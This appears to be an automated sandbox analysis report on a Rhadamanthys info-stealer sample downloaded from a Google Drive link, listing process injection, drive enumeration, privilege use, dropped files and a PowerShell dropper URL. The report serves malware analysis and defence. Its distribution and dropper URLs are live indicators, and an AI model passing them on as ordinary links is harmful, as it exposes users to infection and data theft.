rhadamanthys | hxxps://drive[.]google[.]com/file/d/1K4k7cb_mTmNhNr5ODJkglEgUmsVTqsQs/view

Analysis

max time kernel
146s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
29-06-2024 04:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://drive.google.com/file/d/1K4k7cb_mTmNhNr5ODJkglEgUmsVTqsQs/view

Score

10^/10

rhadamanthys execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://two-root.com/2506s.bs64

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

explorer.exe

description pid process target process

PID 2224 created 2980 2224 explorer.exe sihost.exe
Blocklisted process makes network request 3 IoCs

Processes:

MsiExec.exepowershell.exe

flow pid process

55 3104 MsiExec.exe
56 3104 MsiExec.exe
61 1420 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1420 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

UnRAR.exernpkeys.exe

pid process

4700 UnRAR.exe
420 rnpkeys.exe

description	pid	process	target process
PID 2224 created 2980	2224	explorer.exe	sihost.exe

flow	pid	process
55	3104	MsiExec.exe
56	3104	MsiExec.exe
61	1420	powershell.exe

pid	process
1420	powershell.exe

pid	process
4700	UnRAR.exe
420	rnpkeys.exe

Loads dropped DLL 15 IoCs

Processes:

MsiExec.exernpkeys.exeMsiExec.exe

pid	process
3104	MsiExec.exe
3104	MsiExec.exe
3104	MsiExec.exe
3104	MsiExec.exe
3104	MsiExec.exe
3104	MsiExec.exe
3104	MsiExec.exe
3104	MsiExec.exe
420	rnpkeys.exe
4852	MsiExec.exe
4852	MsiExec.exe
4852	MsiExec.exe
4852	MsiExec.exe
4852	MsiExec.exe
4852	MsiExec.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 drive.google.com
5 drive.google.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

rnpkeys.exe

description pid process target process

PID 420 set thread context of 2224 420 rnpkeys.exe explorer.exe

flow	ioc
1	drive.google.com
5	drive.google.com

description	pid	process	target process
PID 420 set thread context of 2224	420	rnpkeys.exe	explorer.exe

Drops file in Windows directory 30 IoCs

Processes:

msiexec.exe

description	ioc	process
File created	C:\Windows\Installer\e58d4c0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID699.tmp	msiexec.exe
File created	C:\Windows\Installer\e58d4c4.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI80BD.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B7BD6C3D-0625-4997-BDAF-6F0292FC3F8A}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD6184F9462C6E526.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e58d4c0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID6A9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE09D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE10B.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD9FEF7FB6BBA1FC4.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFC473C9C98C898026.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFAC95D5BA24E8C317.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID669.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7FDE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI807D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI809D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID5AA.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF7E4A8B3EAB56BFB7.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI802D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI805D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE6C9.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF9AE1E5D799007454.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID647.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID668.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8216.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA5346824F8E75610.TMP	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

2632 2224 WerFault.exe explorer.exe
1188 2224 WerFault.exe explorer.exe
4228 2224 WerFault.exe explorer.exe

pid	pid_target	process	target process
2632	2224	WerFault.exe	explorer.exe
1188	2224	WerFault.exe	explorer.exe
4228	2224	WerFault.exe	explorer.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exemsedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1560405787-796225086-678739705-1000_Classes\Local Settings msedge.exe
NTFS ADS 1 IoCs

Processes:

msedge.exe

description ioc process

File opened for modification C:\Users\Admin\Downloads\x64__installer___x32__.zip:Zone.Identifier msedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1560405787-796225086-678739705-1000_Classes\Local Settings	msedge.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\x64__installer___x32__.zip:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exemsedge.exemsiexec.exepowershell.exeexplorer.exeopenwith.exemsedge.exemsedge.exemsedge.exeidentity_helper.exe

pid	process
3560	msedge.exe
3560	msedge.exe
1476	msedge.exe
1476	msedge.exe
3672	identity_helper.exe
3672	identity_helper.exe
556	msedge.exe
556	msedge.exe
3964	msedge.exe
3964	msedge.exe
2656	msiexec.exe
2656	msiexec.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
2224	explorer.exe
2224	explorer.exe
3268	openwith.exe
3268	openwith.exe
1420	powershell.exe
3268	openwith.exe
3268	openwith.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
3448	msedge.exe
3448	msedge.exe
4572	msedge.exe
4572	msedge.exe
1616	msedge.exe
1616	msedge.exe
5076	identity_helper.exe
5076	identity_helper.exe
2656	msiexec.exe
2656	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 19 IoCs

Processes:

msedge.exemsedge.exe

pid	process
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7zG.exe7zG.exemsiexec.exemsiexec.exe

description	pid	process
Token: SeRestorePrivilege	760	7zG.exe
Token: 35	760	7zG.exe
Token: SeSecurityPrivilege	760	7zG.exe
Token: SeSecurityPrivilege	760	7zG.exe
Token: SeRestorePrivilege	2408	7zG.exe
Token: 35	2408	7zG.exe
Token: SeSecurityPrivilege	2408	7zG.exe
Token: SeSecurityPrivilege	2408	7zG.exe
Token: SeShutdownPrivilege	3432	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3432	msiexec.exe
Token: SeSecurityPrivilege	2656	msiexec.exe
Token: SeCreateTokenPrivilege	3432	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3432	msiexec.exe
Token: SeLockMemoryPrivilege	3432	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3432	msiexec.exe
Token: SeMachineAccountPrivilege	3432	msiexec.exe
Token: SeTcbPrivilege	3432	msiexec.exe
Token: SeSecurityPrivilege	3432	msiexec.exe
Token: SeTakeOwnershipPrivilege	3432	msiexec.exe
Token: SeLoadDriverPrivilege	3432	msiexec.exe
Token: SeSystemProfilePrivilege	3432	msiexec.exe
Token: SeSystemtimePrivilege	3432	msiexec.exe
Token: SeProfSingleProcessPrivilege	3432	msiexec.exe
Token: SeIncBasePriorityPrivilege	3432	msiexec.exe
Token: SeCreatePagefilePrivilege	3432	msiexec.exe
Token: SeCreatePermanentPrivilege	3432	msiexec.exe
Token: SeBackupPrivilege	3432	msiexec.exe
Token: SeRestorePrivilege	3432	msiexec.exe
Token: SeShutdownPrivilege	3432	msiexec.exe
Token: SeDebugPrivilege	3432	msiexec.exe
Token: SeAuditPrivilege	3432	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3432	msiexec.exe
Token: SeChangeNotifyPrivilege	3432	msiexec.exe
Token: SeRemoteShutdownPrivilege	3432	msiexec.exe
Token: SeUndockPrivilege	3432	msiexec.exe
Token: SeSyncAgentPrivilege	3432	msiexec.exe
Token: SeEnableDelegationPrivilege	3432	msiexec.exe
Token: SeManageVolumePrivilege	3432	msiexec.exe
Token: SeImpersonatePrivilege	3432	msiexec.exe
Token: SeCreateGlobalPrivilege	3432	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe
Token: SeRestorePrivilege	2656	msiexec.exe
Token: SeTakeOwnershipPrivilege	2656	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exe7zG.exe7zG.exemsiexec.exemsedge.exe

pid	process
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
760	7zG.exe
2408	7zG.exe
3432	msiexec.exe
3432	msiexec.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exemsedge.exe

pid	process
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe
4572	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 1476 wrote to memory of 1428	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 1428	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 2716	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3560	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3560	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe
PID 1476 wrote to memory of 3120	1476	msedge.exe	msedge.exe

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2980

C:\Windows\SysWOW64\openwith.exe
"C:\Windows\system32\openwith.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3268

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://drive.google.com/file/d/1K4k7cb_mTmNhNr5ODJkglEgUmsVTqsQs/view
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1476

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff95b803cb8,0x7ff95b803cc8,0x7ff95b803cd8
2⤵
PID:1428

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1920 /prefetch:2
2⤵
PID:2716

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3560

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2776 /prefetch:8
2⤵
PID:3120

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
2⤵
PID:4900

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
2⤵
PID:3152

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5100 /prefetch:1
2⤵
PID:1352

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5520 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3672

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
2⤵
PID:952

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
2⤵
PID:1696

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:1
2⤵
PID:3216

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6140 /prefetch:1
2⤵
PID:1632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5784 /prefetch:1
2⤵
PID:3176

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5940 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:556

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5912 /prefetch:1
2⤵
PID:1056

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
